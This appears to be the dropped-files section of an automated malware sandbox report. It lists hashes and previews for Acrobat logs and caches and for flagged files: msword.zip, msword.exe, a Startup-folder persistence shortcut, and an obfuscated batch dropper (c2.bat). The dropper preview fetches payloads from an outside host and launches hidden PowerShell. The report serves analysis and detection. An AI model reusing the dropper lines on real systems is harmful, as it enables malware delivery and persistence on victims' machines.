                                                                          Preview:PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..|....,.A.....Z..a<.C._..../G|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

                                                                          C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 22-19-08-165.log

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:ASCII text, with very long lines (393)
                                                                          Category:dropped
                                                                          Size (bytes):16525
                                                                          Entropy (8bit):5.345946398610936
                                                                          Encrypted:false
                                                                          SSDEEP:384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
                                                                          MD5:8947C10F5AB6CFFFAE64BCA79B5A0BE3
                                                                          SHA1:70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
                                                                          SHA-256:4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
                                                                          SHA-512:B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
                                                                          Malicious:false
                                                                          Preview:SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

                                                                          C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:ASCII text, with very long lines (393), with CRLF line terminators
                                                                          Category:dropped
                                                                          Size (bytes):15114
                                                                          Entropy (8bit):5.319033134729269
                                                                          Encrypted:false
                                                                          SSDEEP:384:ZD5ywKl9AdQSFoV0k5KQ1HYFByXBnVIVkVjNukg+bPPrHZIGAmyydpnInIVkeFrh:OaS6S5
                                                                          MD5:94BCBA543140DE2DD932F882C7788CDF
                                                                          SHA1:A1600117FEFC97E6385AB2816123E30CCFF49C72
                                                                          SHA-256:329264C3116A9E846311687799EACFA6EBF6CDBF3D385964C6149BEF4C1FEAB0
                                                                          SHA-512:15BA9BA7264C6C6DC97E207FFB61A17C652A010CACA8FD7AAC3CDB2DB44B898B9B44EF992280ECA52FFEE58C7120EA2AB6B3A2C2EA1042D7B196AF776C6529B6
                                                                          Malicious:false
                                                                          Preview:SessionID=ce4b06c0-412c-4073-b180-0702e5b4072a.1736651948178 Timestamp=2025-01-11T22:19:08:178-0500 ThreadID=7700 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ce4b06c0-412c-4073-b180-0702e5b4072a.1736651948178 Timestamp=2025-01-11T22:19:08:180-0500 ThreadID=7700 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ce4b06c0-412c-4073-b180-0702e5b4072a.1736651948178 Timestamp=2025-01-11T22:19:08:180-0500 ThreadID=7700 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ce4b06c0-412c-4073-b180-0702e5b4072a.1736651948178 Timestamp=2025-01-11T22:19:08:180-0500 ThreadID=7700 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ce4b06c0-412c-4073-b180-0702e5b4072a.1736651948178 Timestamp=2025-01-11T22:19:08:181-0500 ThreadID=7700 Component=ngl-lib_NglAppLib Description="SetConf

                                                                          C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:ASCII text, with CRLF line terminators
                                                                          Category:dropped
                                                                          Size (bytes):29752
                                                                          Entropy (8bit):5.388798201104369
                                                                          Encrypted:false
                                                                          SSDEEP:768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2ri:e
                                                                          MD5:FB9151DED3916A6A4C2F7F7D782DCFE4
                                                                          SHA1:869DD7A85E869560F0E6FD9DB08CE57F05C4A3CD
                                                                          SHA-256:7D350DB82C24329A513BAD8646D391D4A0B422C6BA6A89F0D0087E14A81D8F1B
                                                                          SHA-512:472EF1477115FA71547A1773B7F9130225F1D2819936E213E57B5C25124221EC78F09CBAF9AF9008398DAC4FB61F04E3E3098FD384F1B296A1827C8CD35CCFB8
                                                                          Malicious:false
                                                                          Preview:03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ******** Starting new session ********..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

                                                                          C:\Users\user\AppData\Local\Temp\acrocef_low\0e6cbf14-e031-4cec-8b63-c1aab9f7a4c7.tmp

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                          File Type:gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
                                                                          Category:dropped
                                                                          Size (bytes):758601
                                                                          Entropy (8bit):7.98639316555857
                                                                          Encrypted:false
                                                                          SSDEEP:12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
                                                                          MD5:3A49135134665364308390AC398006F1
                                                                          SHA1:28EF4CE5690BF8A9E048AF7D30688120DAC6F126
                                                                          SHA-256:D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
                                                                          SHA-512:BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
                                                                          Malicious:false
                                                                          Preview:...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!|G.1...... .3.`./....`~......G.............|..pS.e.C....:o.u_..oi.:..|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

                                                                          C:\Users\user\AppData\Local\Temp\acrocef_low\66f5c030-d748-4989-bcbd-5132a0a8f4bc.tmp

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                          File Type:gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
                                                                          Category:dropped
                                                                          Size (bytes):1419751
                                                                          Entropy (8bit):7.976496077007677
                                                                          Encrypted:false
                                                                          SSDEEP:24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
                                                                          MD5:18E3D04537AF72FDBEB3760B2D10C80E
                                                                          SHA1:B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
                                                                          SHA-256:BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
                                                                          SHA-512:2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
                                                                          Malicious:false
                                                                          Preview:...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E|.P..$ni.{.....T.^~<m-..J....RQk..*..f.....q.......V.rC.M.b.DiL\.....wq.*...$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..D*T...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W*..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.......*..R.....j.WD).M..9.Fw...W.-a..z.l\..u*.^....*L..^.`.T...l.^.B.DMc.d....i...o.|M.uF|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,*.e....5...X.}6.P....y\.s|..Si..BB..y...~.....D^g...*7'T-.5*.!K.$\...2.

                                                                          C:\Users\user\AppData\Local\Temp\acrocef_low\6abecb7e-08fd-442d-af3a-b667adccf739.tmp

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                          File Type:gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
                                                                          Category:dropped
                                                                          Size (bytes):386528
                                                                          Entropy (8bit):7.9736851559892425
                                                                          Encrypted:false
                                                                          SSDEEP:6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
                                                                          MD5:5C48B0AD2FEF800949466AE872E1F1E2
                                                                          SHA1:337D617AE142815EDDACB48484628C1F16692A2F
                                                                          SHA-256:F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
                                                                          SHA-512:44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
                                                                          Malicious:false
                                                                          Preview:...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-|..h#.g.\.PO.|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..|m.WC.....|.....e.[W.p.8...rm....^..x'......5!...|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

                                                                          C:\Users\user\AppData\Local\Temp\acrocef_low\b394f835-3b8d-4397-a77e-47130fa01f99.tmp

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                          File Type:gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
                                                                          Category:dropped
                                                                          Size (bytes):1407294
                                                                          Entropy (8bit):7.97605879016224
                                                                          Encrypted:false
                                                                          SSDEEP:24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
                                                                          MD5:716C2C392DCD15C95BBD760EEBABFCD0
                                                                          SHA1:4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
                                                                          SHA-256:DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
                                                                          SHA-512:E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
                                                                          Malicious:false
                                                                          Preview:...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E|.P..$ni.{.....T.^~<m-..J....RQk..*..f.....q.......V.rC.M.b.DiL\.....wq.*...$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..D*T...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W*..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.......*..R.....j.WD).M..9.Fw...W.-a..z.l\..u*.^....*L..^.`.T...l.^.B.DMc.d....i...o.|M.uF|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,*.e....5...X.}6.P....y\.s|..Si..BB..y...~.....D^g...*7'T-.5*.!K.$\...2.

                                                                          C:\Users\user\AppData\Local\Temp\c2.bat

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          File Type:ASCII text, with very long lines (904), with CRLF line terminators
                                                                          Category:dropped
                                                                          Size (bytes):3634
                                                                          Entropy (8bit):5.236008723707643
                                                                          Encrypted:false
                                                                          SSDEEP:96:m+CdvloxEWaqNh3b3Z/OnSZtn5+Gs8HNSqCBXAyY:oCjaob3Z2SnE8tSqCB9Y
                                                                          MD5:87022BBA9DB0F800B26D9609ACBBCF49
                                                                          SHA1:D7BE8CC8D4CFFCCE0BD7D361037BBE575E49CC6A
                                                                          SHA-256:1F6CE0F5CD3793AAEA9B3F9DE99F04679B8DB2F1056532982D835E665006ECE7
                                                                          SHA-512:B7BE35A7A8EF40CF5326EFD77EB4A2EE05162B241267695C6927F12340BE3720AF299D37AFB5F02025EF8948E71C8A4F8CC21B5C805C9DD777797694C033D53F
                                                                          Malicious:true
                                                                          Preview:@%VLuxDxBM%e%zknhtrti%c%qXIe%h%DioUprb%o%nF% %XSzpJuJ%o%Z%f%dL%f%eEMB%..set url=https://myguyapp.com/msword.zip..s%OfRZh%e%bzhkruSY%t%DkutKd% %dxDH%u%KzG%r%KGuWgpBmMo%l%adqPhBwR%=%YNMjm%h%rtRLtPJeR%t%DSfWzS%t%yYy%p%ABTMWXuAs%s%m%:%MI%/%SnBl%/%ttm%m%gvt%y%rjdee%g%dwYNwJT%u%MoAZng%y%pXoEB%a%Yy%p%UKZM%p%ctS%.%Jnv%c%YYTHkw%o%wkC%m%GFePO%/%jldFiSl%m%IP%s%xK%w%hLcFpDndPO%o%DaOxa%r%ZM%d%AR%.%f%z%GzD%i%e%p%JevMulL%..set url2=https://myguyapp.com/W2.pdf..s%hwvwRF%e%QuDLrd%t%JICNv% %PxorhwP%u%aYH%r%hotHXeBZtg%l%oJKbuFDbgq%2%yHfekdVP%=%NdKRoGUgr%h%xKSx%t%rvRKBSleIX%t%SpSm%p%wbQdk%s%R%:%Dizx%/%HHLDZ%/%es%m%XjoF%y%J%g%olMBNbeo%u%DVZtkXm%y%MsH%a%LyuRF%p%Eryft%p%idiglSH%.%odKAWwiYof%c%CtLK%o%KjljBrysB%m%o%/%GQYaqs%W%LDmDZbmha%2%sFQKV%.%vIMk%p%VuXimjsr%d%acamBo%f%nrMe%..p%wsZX%o%zbulUZgp%w%inxp%e%aiWTgYV%r%KUWANAEWb%s%oDEk%h%gPNeE%e%ibNOiBI%l%LHUUm%l%ETUgg% %jDR%-%GUoW%W%j%i%OZUiVG%n%xC%d%EvHpV%o%BVeSOp%w%kLnyCABxV%S%Xb%t%IKytjHq%y%Pw%l%jYJgLlEn%e%cWXrPRDt% %xRzJFYoSU%H%BYa%i%aNxNnfpSO%d%mJLHttj%d%PEn

                                                                          C:\Users\user\AppData\Local\Temp\msword.zip

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                          Category:dropped
                                                                          Size (bytes):3291904
                                                                          Entropy (8bit):5.7211736584910335
                                                                          Encrypted:false
                                                                          SSDEEP:24576:1SPkwlaGwxOe3J7k4b6ioP8ZbmrJju41nK4AzaVQeAYgIBlu:10wMe3Lb6R8Zbm59K4PVgI3u
                                                                          MD5:612EC869CA4C87B5BF6C1B44522FDA28
                                                                          SHA1:43E7850657B61E9AC7341413C203C6E834266EA7
                                                                          SHA-256:AB2B6D3C849A207A93CFEC18A684EF980AE681C4F901A3B12858A2C3AC05ECCC
                                                                          SHA-512:BE5BE0BDB010FB4EA58CED7FB45731FB720B6AFBBDCAA1E971CE9B278CDE71F7C8E73D28A0FA8744F1604FF176A50032D63B9F5850909133CD113E69B2A53EA5
                                                                          Malicious:true
                                                                          Preview:PK........n.(Z.............. .msword.exeux.............UT....V~g.e~g.e~g.{|T..?~..dI6.".F..!(...M\..rB.Y\Xw..pQ..+.M....%n..............V."&.$(.(<..|.H...u.......3s6..{.....~.5{...g>...g......A.............o?..+^.*.0.OW....t.....Uu+.[r_..KV.X)..UST..(Z....6..}+..L....6.........t..5.4.=.........K...R+{.b...\.&.(.U.La.....i..c....xIe..tA.P.'.....7.B.......1.C.{..G..O3.Hy.....7......!..._......C...^..8.....r.Z....g.D}....H..O.[.D^".w]....#.....L......[....?.W...+..N. .d.=..&....8..p#L...i..f.Jd..A.../G.W..........P{"=.".v.<.......F*..j...3.h..+N]..M....G...$...:....b.3>..1|....Q.....'..6$#5IA.Y..e.h..b.\........y.Ws<.n...I=.u:^lk.E.<d..t........U/...S9...D...y..........zSz~%..I...q..z.f@.+y....Y..4....G..5..Iz~.J.@s..P..aS.C<N$.!j pA..!..z^H.}..K.<...~H*B...a]j.M.R.b-..;.....h....;..ZUlm.O..e.........f9...er...=.Z_...l/}...l~...n.-3....[.!.ok.+.%.}.N%G....L..D.*2.....;.-.i.q.3G.....nP.bY..P+l......X|.,..v9+.#Za...7.........:b.M.Hv

                                                                          C:\Users\user\AppData\Local\Temp\msword\msword.exe

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                          Category:dropped
                                                                          Size (bytes):597659152
                                                                          Entropy (8bit):4.333929871564731
                                                                          Encrypted:false
                                                                          SSDEEP:
                                                                          MD5:2418E6B81076BF97B0D0659309561185
                                                                          SHA1:5C9393008097E0C2EE82197E46CA879B0156D15D
                                                                          SHA-256:9DCF3E57C4962A4C5BA0866AF3C16E7D16427448FD75E1D78F7C3D9A70675BFA
                                                                          SHA-512:339267CBCD9073BD21FEC145814F73D0165FE58F1DB306F2AE678780C691B32C9B9C46C3218848D9EE34BD4A2669B23E6A792735FA5351391B8B33632C3EB54D
                                                                          Malicious:true
                                                                          Antivirus:
                                                                          • Antivirus: ReversingLabs, Detection: 16%
                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L...X|.N.................n.......B...8............@....................................#..@.................................4........@...2......................d....................................................................................text....m.......n.................. ..`.rdata..b*.......,...r..............@..@.data....~..........................@....ndata.......0...........................rsrc....2...@...4..................@..@.reloc..2...........................@..B................................................................................................................................................................................................................................................................................................................

                                                                          C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):98682
                                                                          Entropy (8bit):6.445287254681573
                                                                          Encrypted:false
                                                                          SSDEEP:1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
                                                                          MD5:7113425405A05E110DC458BBF93F608A
                                                                          SHA1:88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
                                                                          SHA-256:7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
                                                                          SHA-512:6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
                                                                          Malicious:false
                                                                          Preview:0...u0...\...0...*.H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...*B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

                                                                          C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):737
                                                                          Entropy (8bit):7.501268097735403
                                                                          Encrypted:false
                                                                          SSDEEP:12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
                                                                          MD5:5274D23C3AB7C3D5A4F3F86D4249A545
                                                                          SHA1:8A3778F5083169B281B610F2036E79AEA3020192
                                                                          SHA-256:8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
                                                                          SHA-512:FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
                                                                          Malicious:false
                                                                          Preview:0...0.....0...*.H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0...*.H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R*.......~....)....i.*n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

                                                                          C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\cmd.exe
                                                                          File Type:MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js" >), ASCII text, with CRLF line terminators
                                                                          Category:dropped
                                                                          Size (bytes):100
                                                                          Entropy (8bit):4.889436845812483
                                                                          Encrypted:false
                                                                          SSDEEP:3:HRAbABGQaFyw3pYot+kiE2J5mKIGXQxjNLiqB5Gr4Fy:HRYF5yjowkn23mKpkNx5G0y
                                                                          MD5:A34A0DAF277C13FC5AFF64C0A7247999
                                                                          SHA1:FD9B47B23BD20B9903D8842AC8C17A9F96677E93
                                                                          SHA-256:1534FD0EC0B91D4DDD6A250523DEE4BDB80DCBDF9DF1440606B3BF31AB80E814
                                                                          SHA-512:7B45CB2183C7307EF7C7A89926D2289E5A49C49E53F2A635CFF49FC8898D2D346C686E6DF5F15280A918E6FDA78AE75E97B1769D5536293E75119E3ECDCE0E9A
                                                                          Malicious:true
                                                                          Preview:[InternetShortcut] ..URL="C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js" ..

                                                                          C:\Users\user\Downloads\W2.pdf

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          File Type:PDF document, version 1.4, 2 pages
                                                                          Category:dropped
                                                                          Size (bytes):69437
                                                                          Entropy (8bit):7.717554924401452
                                                                          Encrypted:false
                                                                          SSDEEP:768:fGPGTXkz5QcYykzbvwj42yCuTP1mRPLHLxqf/f8LcivAM7jQlVdl8gbUvjODSrY5:o3z5jkzbvWg1qzndS1zSrpaaW
                                                                          MD5:296FBCEB79C89BCFFD636CB2D80C57F7
                                                                          SHA1:7AC0E8C3BBCA5B78289EC48D0785B03DE4E1F581
                                                                          SHA-256:568CB24BFE35FD292AA0923413E1707B057A281059759AF52FC4392F901A8383
